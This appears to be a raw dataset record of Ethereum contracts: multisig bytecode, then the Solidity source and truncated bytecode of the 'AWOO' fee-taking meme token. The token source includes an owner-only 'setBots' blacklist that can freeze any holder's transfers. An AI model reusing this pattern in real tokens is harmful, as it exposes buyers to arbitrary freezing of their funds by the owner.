001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
{"success": true, "error": null, "results": {}}
5,044
0xc4d9b87d764b7042f0ce906905b3790f2f5eca82
//SPDX-License-Identifier: UNLICENSED /* AWOOOOOOOOO https://t.me/awootoken https://awooo.world Like a community sing, a howl is a happy occasion. Wolves love to howl. When it is started, they instantly seek contact with one another, troop together, fur to fur. We are awoooooooing to gather people with the same spirit as us like a wolf - sharp intelligence, appetite for freedom, strong instincts and always ready to hunt. */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AWOO is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e11 * 10**9; string public constant name = unicode"Full Moon Always Comes"; string public constant symbol = unicode"AWOO"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _MarketingWallet; address public uniswapV2Pair; uint public _bFee = 10; uint public _sFee = 10; uint private _feeRate = 15; uint public _maxBuyTokens; uint public _maxWallet; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool private _removedTxnLimit = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event MarketingWalletUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable MarketingWallet) { _MarketingWallet = MarketingWallet; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[MarketingWallet] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (1 minutes)) > block.timestamp && _removedTxnLimit ) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxWallet); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _MarketingWallet.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _bFee; } else { fee = _sFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 2000000000 * 10**9; _maxWallet = 2000000000 * 10**9; _removedTxnLimit = true; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setEnableLimitedTxn(bool enable) external onlyOwner() { _removedTxnLimit = enable; } function setMaxAmount(uint maxBuyTokens, uint maxWallet) external onlyOwner(){ if( _maxBuyTokens>= 500000000 ){ _maxBuyTokens = maxBuyTokens; _maxWallet = maxWallet; } } function setFees(uint bFee, uint sFee) external onlyOwner() { require(bFee < 12 && sFee < 12 ); _bFee = bFee; _sFee = sFee; emit FeesUpdated(_bFee, _sFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateMarketingWallet(address newAddress) external onlyOwner(){ _MarketingWallet = payable(newAddress); emit MarketingWalletUpdated(_MarketingWallet); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101fd5760003560e01c8063715018a61161010d578063b0e9fffe116100a0578063db92dbb61161006f578063db92dbb6146105cc578063dcb0e0ad146105e1578063dd62ed3e14610601578063e9e1831a14610647578063fdf7cd931461065c57600080fd5b8063b0e9fffe1461056c578063b515566a14610582578063c3c8cd80146105a2578063c9567bf9146105b757600080fd5b806395d89b41116100dc57806395d89b41146104e75780639e78fb4f14610517578063a9059cbb1461052c578063aacebbe31461054c57600080fd5b8063715018a61461047d57806382247ec0146104925780638da5cb5b146104a857806394b8d8f2146104c657600080fd5b806330380a46116101905780633bbac5791161015f5780633bbac579146103c157806349bd5a5e146103fa5780636755a4d0146104325780636fc3eaec1461044857806370a082311461045d57600080fd5b806330380a4614610344578063313ce5671461036457806331c2d8471461038b57806332d873d8146103ab57600080fd5b80631fe0371e116101cc5780631fe0371e146102d95780632188650e146102ef57806323b872dd1461030f57806327f3a72a1461032f57600080fd5b806306fdde0314610209578063095ea7b3146102615780630b78f9c01461029157806318160ddd146102b357600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061024b6040518060400160405280601681526020017546756c6c204d6f6f6e20416c7761797320436f6d657360501b81525081565b60405161025891906117b1565b60405180910390f35b34801561026d57600080fd5b5061028161027c36600461182b565b61067c565b6040519015158152602001610258565b34801561029d57600080fd5b506102b16102ac366004611857565b610692565b005b3480156102bf57600080fd5b5068056bc75e2d631000005b604051908152602001610258565b3480156102e557600080fd5b506102cb60095481565b3480156102fb57600080fd5b506102b161030a366004611857565b610725565b34801561031b57600080fd5b5061028161032a366004611879565b61076b565b34801561033b57600080fd5b506102cb6107bf565b34801561035057600080fd5b506102b161035f3660046118c8565b6107cf565b34801561037057600080fd5b50610379600981565b60405160ff9091168152602001610258565b34801561039757600080fd5b506102b16103a63660046118fb565b610815565b3480156103b757600080fd5b506102cb600e5481565b3480156103cd57600080fd5b506102816103dc3660046119c0565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040657600080fd5b5060085461041a906001600160a01b031681565b6040516001600160a01b039091168152602001610258565b34801561043e57600080fd5b506102cb600c5481565b34801561045457600080fd5b506102b16108a7565b34801561046957600080fd5b506102cb6104783660046119c0565b6108b4565b34801561048957600080fd5b506102b16108cf565b34801561049e57600080fd5b506102cb600d5481565b3480156104b457600080fd5b506000546001600160a01b031661041a565b3480156104d257600080fd5b50600f54610281906301000000900460ff1681565b3480156104f357600080fd5b5061024b6040518060400160405280600481526020016341574f4f60e01b81525081565b34801561052357600080fd5b506102b1610943565b34801561053857600080fd5b5061028161054736600461182b565b610b1e565b34801561055857600080fd5b506102b16105673660046119c0565b610b2b565b34801561057857600080fd5b506102cb600a5481565b34801561058e57600080fd5b506102b161059d3660046118fb565b610baa565b3480156105ae57600080fd5b506102b1610cc3565b3480156105c357600080fd5b506102b1610cd9565b3480156105d857600080fd5b506102cb610d4e565b3480156105ed57600080fd5b506102b16105fc3660046118c8565b610d66565b34801561060d57600080fd5b506102cb61061c3660046119dd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561065357600080fd5b506102b1610de5565b34801561066857600080fd5b5060075461041a906001600160a01b031681565b6000610689338484610f8e565b50600192915050565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016106bc90611a16565b60405180910390fd5b600c821080156106d55750600c81105b6106de57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b81526004016106bc90611a16565b631dcd6500600c541061076757600c829055600d8190555b5050565b60006107788484846110b2565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107a7908490611a61565b90506107b4853383610f8e565b506001949350505050565b60006107ca306108b4565b905090565b6000546001600160a01b031633146107f95760405162461bcd60e51b81526004016106bc90611a16565b600f8054911515620100000262ff000019909216919091179055565b6000546001600160a01b0316331461083f5760405162461bcd60e51b81526004016106bc90611a16565b60005b81518110156107675760006005600084848151811061086357610863611a78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089f81611a8e565b915050610842565b476108b18161147e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016106bc90611a16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461096d5760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff16156109905760405162461bcd60e51b81526004016106bc90611aa9565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611ae0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611ae0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afb9190611ae0565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006106893384846110b2565b6000546001600160a01b03163314610b555760405162461bcd60e51b81526004016106bc90611a16565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e7906020015b60405180910390a150565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016106bc90611a16565b60005b81518110156107675760085482516001600160a01b0390911690839083908110610c0357610c03611a78565b60200260200101516001600160a01b031614158015610c54575060065482516001600160a01b0390911690839083908110610c4057610c40611a78565b60200260200101516001600160a01b031614155b15610cb157600160056000848481518110610c7157610c71611a78565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cbb81611a8e565b915050610bd7565b6000610cce306108b4565b90506108b1816114b8565b6000546001600160a01b03163314610d035760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff1615610d265760405162461bcd60e51b81526004016106bc90611aa9565b600f805442600e55671bc16d674ec80000600c819055600d5562ff00ff191662010001179055565b6008546000906107ca906001600160a01b03166108b4565b6000546001600160a01b03163314610d905760405162461bcd60e51b81526004016106bc90611a16565b600f805463ff000000191663010000008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610b9f565b6000546001600160a01b03163314610e0f5760405162461bcd60e51b81526004016106bc90611a16565b600f5460ff1615610e325760405162461bcd60e51b81526004016106bc90611aa9565b600654610e539030906001600160a01b031668056bc75e2d63100000610f8e565b6006546001600160a01b031663f305d7194730610e6f816108b4565b600080610e846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f119190611afd565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f6a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b19190611b2b565b6001600160a01b038316610ff05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106bc565b6001600160a01b0382166110515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106bc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16156110d857600080fd5b6001600160a01b03831661113c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bc565b6001600160a01b03821661119e5760405162461bcd6